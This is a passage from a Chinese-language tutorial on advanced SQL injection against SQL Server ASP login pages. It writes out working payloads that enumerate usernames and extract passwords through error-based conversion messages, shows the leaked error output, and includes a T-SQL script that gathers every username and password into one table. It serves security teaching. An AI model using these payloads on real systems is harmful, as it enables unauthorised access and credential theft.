軟件測試開發技術SQL Server應用程序中的高級SQL注入

　Username:' union select min(username),1,1,1 from users where username>'a'—

　　這句選擇users表中username大于'a'中的最小值，并試圖把它轉化成一個整型數字:

　　Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

　　[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.

　　/process_login.asp, line 35

　　因此攻擊者已經知道用戶admin是存在的。這樣他就可以重復通過使用where子句和查詢到的用戶名去尋找下一個用戶。

　　Username:' union select min(username),1,1,1 from users where username>'admin'—

　　Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

　　[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.

　　/process_login.asp, line 35

　　一旦攻擊者確定了用戶名，他就可以開始收集密碼:

　　Username:' union select password,1,1,1 from users where username='admin'—

　　Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

　　[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.

　　/process_login.asp, line 35

　　一個更高級的技術是將所有用戶名和密碼連接長一個單獨的字符串，然后嘗試把它轉化成整型數字。這個例子指出:Transavt-SQL語法能夠在不改變相同的行的意思的情況下把它們連接起來。下面的腳本將把值連接起來:

　　begin declare @ret varchar(8000)

　　set @ret=':'

　　select @ret=@ret+' '+username+'/'+password from users where

　　username>@ret

　　select @ret as ret into foo

　　end

文章來源于領測軟件測試網 http://www.kjueaiud.com/